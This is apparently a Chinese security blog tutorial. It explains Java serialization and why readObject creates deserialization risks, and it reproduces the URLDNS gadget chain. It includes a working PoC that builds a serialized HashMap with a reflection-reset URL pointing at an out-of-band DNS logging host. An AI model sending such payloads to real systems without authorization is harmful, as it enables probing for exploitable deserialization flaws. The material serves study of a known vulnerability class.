Java反序列化基础篇-01-反序列化概念与利用
Drunkbaby Lv6

Java反序列化基础篇 (一) 反序列化概念与基础利用
视频可以参考 ———— 白日梦组长的视频 Java反序列化漏洞专题;当时个人也是从这里学到了很多

Java反序列化基础篇

0x01 前言

写这篇文章,是想在 Java 反序列化基础的地方再多过几遍,毕竟万丈高楼平地起。

我是非常不建议新手们一上来就开始分析 CC 链,就开始看 shiro 的 POC 的,我觉得还是得先打好基础。

  • 人人都会走弯路,但是要尽量少走弯路,这也是我写这篇文章由衷的目的,希望师傅们学习过程中可以少走弯路。

先学好基础,为后续的 Java 安全学习做好铺垫。

这里强推大家先去了解一下 Java 的反射是什么,力推 “Java 安全漫谈系列“,师傅们可以加入 “Java 代码审计“ 的知识星球。

0x02 序列化与反序列化

1. 什么是序列化与反序列化

  • 之前也刷了 Port,对于序列化和反序列化还是清楚的,这里不厌其烦,再写一遍,也让自己再过一遍。

序列化:对象 -> 字符串
反序列化:字符串 -> 对象

2. 为什么我们需要序列化与反序列化

  • 一开始学的时候还是不知道的。

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

序列化的好处

(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。

序列化与反序列化应用的场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。

3. 几种创建的序列化和反序列化协议

XML&SOAP
JSON
Protobuf

  • 当今 Java 原生当中的序列化与反序列化其实用的比较少吧,但是我们最开始讲起的话还是从原生开始讲起。

0x03 序列化与反序列化代码实现

先创建几个文件,这里要避免踩个坑

踩坑小记 —— IDEA 右键新建时没有 Java Class 选项

异常现象如图
解决

还有一种情况是你以数字命名文件夹了,比如 “001” 这种,是不行的

1. 代码展示,便于大家 Copy 省时间

  • 类文件:Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package src;  // 修改成自己的 Package 路径

import java.io.Serializable;

public class Person implements Serializable {

private String name;
private int age;

public Person(){

}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
  • 序列化文件 SerializationTest.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package src;  


import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
  • 反序列化文件 UnserializeTest.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package src;  

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}

2. 序列化与反序列化的代码讲解

基本实现

这里我们可以先跑一跑代码,看一看。

Run SerializationTest.java

Run UnserializationTest.java

前文我们说,序列化与反序列化的根本目的是数据的传输。

  • SerializationTest.java

这里我们将代码进行了封装,将序列化功能封装进了 serialize 这个方法里面,在序列化当中,我们通过这个 FileOutputStream 输出流对象,将序列化的对象输出到 ser.bin 当中。再调用 oos 的 writeObject 方法,将对象进行序列化操作。

1
2
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
oos.writeObject(obj);
  • UnserializeTest.java

进行反序列化

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
Object obj = ois.readObject();

Serializable 接口

(1) 序列化类的属性没有实现 Serializable 那么在序列化就会报错

只有实现 了Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。

1
2
public interface Serializable {
}

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。

(2) 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
(3)一个实现 Serializable 接口的子类也是可以被序列化的。
(4) 静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的。

(5) transient 标识的对象成员变量不参与序列化

这里我们可以动手实操一下,将 Person.java 中的 name 加上 transient 的类型标识。加完之后再跑我们的序列化与反序列化的两个程序,修改过程与运行结果如图所示。


上述说的还是关于序列化本身的一些特性,接下来我们讲一讲序列化的安全问题是如何产生的。

0x04 为什么会产生序列化的安全问题

1. 引子

  • 序列化与反序列化当中有两个 “特别特别特别特别特别” 重要的方法 ———— writeObjectreadObject

这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。

举个例子,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦,具体的做法是重写以下两个 private 方法:

1
2
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException

只要服务端反序列化数据,客户端传递类的 readObject 中代码会自动执行,基于攻击者在服务器上运行代码的能力。

所以从根本上来说,Java 反序列化的漏洞的与 readObject 有关。

2. 可能存在安全漏洞的形式

(1) 入口类的 readObject 直接调用危险方法

  • 这种情况呢,在实际开发场景中并不是特别常见,我们还是跟着代码来走一遍,写一段弹计算器的代码,文件 ———— “Person.Java

先运行序列化程序 ———— “SerializationTest.java“,再运行反序列化程序 ———— “UnserializeTest.java

这时候就会弹出计算器,也就是 calc.exe,是不是帅的飞起哈哈。

这是黑客最理想的情况,但是这种情况几乎不会出现。

(2) 入口参数中包含可控类,该类有危险方法,readObject 时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject 时调用

(4) 构造函数/静态代码块等类加载时隐式执行

3. 产生漏洞的攻击路线

首先的攻击前提:继承 Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

这里看不懂先不要紧,后续看到 URLDNS 利用链的复现就会悟了哈哈,我当时这里也看不懂,后面悟了。

以 HashMap 为例说明一下,仅仅只是说明如何找到入门类

  • 我这里逐个给大家过一遍,以 HashMap 为例进行说明。

首先,攻击前提,那必然是要继承了 Serializable 这个接口,要不然谈何序列化与反序列化对吧。

HashMap 确实继承了 Serializable 这个接口。

入口类这里比较难懂,还是以 HashMap 为例吧,这些步骤是要自己动手实操一下的,不然体验感很差。

打开 “Structure”,找到重写的 readObject,往下分析。

我们看到第 1416 行与 1418 行中,Key 与 Value 的值执行了 readObject 的操作,再将 Key 和 Value 两个变量扔进 hash 这个方法里,我们再跟进(ctrl+鼠标左键即可) hash 当中。

  • 若传入的参数 key 不为空,则 h = key.hashCode(),于是乎,继续跟进 hashCode 当中。

hashCode 位置处于 Object 类当中,满足我们 调用常见的函数 这一条件。

实战 ———— URLDNS

  • 出发点:URLDNS 在 Java 复杂的反序列化漏洞当中足够简单;URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。
    因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。

  • 虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤。

    • 使⽤ Java 内置的类构造,对第三⽅库没有依赖。

    • 在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用 openConnection 方法,到此处的时候,其实 openConnection 不是常见函数,就已经难以利用了。

我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。
ysoserial/URLDNS.java at master · frohoff/ysoserial (github.com)

ysoserial 对 URLDNS 的利用链看着无比简单,就这么几行代码。

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

再来开始自己复现一遍 URLDNS 的利用链。

初步复现

URL 是由 HashMap 的 put 方法产生的,所以我们先跟进 put 方法当中。put 方法之后又是调用了 hash 方法;hash 方法则是调用了 hashcode 这一函数。

还记得前文最看不懂的地方吗?我当时说这一块不懂不要紧,看到 URLDNS 的复现就懂了。

我们看到这个 hashCode 函数的变量名是 key;那这个 key 是啥啊?
噢 ~ 原来 key 是 hash 这一方法传进的参数!那我们前面写的 key 不就是这个东东吗 ~!

1
2
3
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

// 传进去两个参数,key = 前面那串网址,value = 1

所以这里,我们跟进 URL,去看看 URL 跟进一堆之后的 hashCode 方法是如何实现的。

跟进 URL,我们肯定是要去寻找 URL 调用的函数的函数(的函数,应该还有好几个的函数,就不写出来了,不然大家就晕了)的 hashCode 方法。

在左边 Structure 直接寻找 hashCode 方法,URL 中的 hashCodehandler 这一对象所调用,handler 又是 URLStreamHandler 的抽象类。我们再去找 URLStreamHandlerhashCode 方法。

终于找到了,这个用于 URLDNS 的方法 ———— getHostAddress

再跟进 getHostAddress

这⾥ InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。

所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:

  1. HashMap->readObject()

  2. HashMap->hash()

  3. URL->hashCode()

  4. URLStreamHandler->hashCode()

  5. URLStreamHandler->getHostAddress()

  6. InetAddress->getByName()

半路杀出个程咬金
  • 我们的复现步骤:

SerializationTest.java 文件下添加如下代码

1
2
3
4
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();   
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);

serialize(hashmap);

我们先把它序列化,按照道理来说,这个过程应该什么都不会发生对吧。

很奇怪,为什么却能收到 URLDNS 的请求????
那我们的视线很容易就被干扰了呀,无法判断到底是因为反序列化的 URLDNS ,还是因为序列化的过程中的 URLDNS。

把程咬金给办了!

还是从原理角度分析,我们回到 URL 这个对象,回到 hashCode 这里。

我们发现,当 hashCode 的值不等于 -1 的时候,函数就会直接 return hashCode 而不执行 hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode 的值为 -1,便是发起了请求。

所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。

那要如何才能把 “半路杀出的程咬金” 给办了呢?我们大致有这样一个思路。

有关反射的知识又是一个很庞大的体系了,我们下篇文章再讲 ~
这里我先把 Poc 挂出来。

URLDNS 反序列化利用链的 POC

根据我们的思路,将 Main 函数进行修改,我这里直接全部挂出来了,不然师傅们容易看错。

SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception{  
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}

反序列化的文件无需更改

接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。

0x05 小结与后续展望

其实看了很多的反序列化教程,自己写这篇文章也是为了大家能够少走弯路吧,我们分析下来,一个最简单的 URLDNS 对于刚入门的师傅们来说也是比较难以理解与分析的,我本人也是学了好几天才啃下来的。

相对于一开始就接触 CC 链,或者是其他 Tomcat,shiro 漏洞复现的就更甚了,不懂原理只当一个脚本小子对个人的提升意义并不是很大。

  • 后续的一些展望

师傅们若是对 Java 安全感兴趣的话可以关注我 ~后续还会继续更新相关自己的学习笔记的。

 评论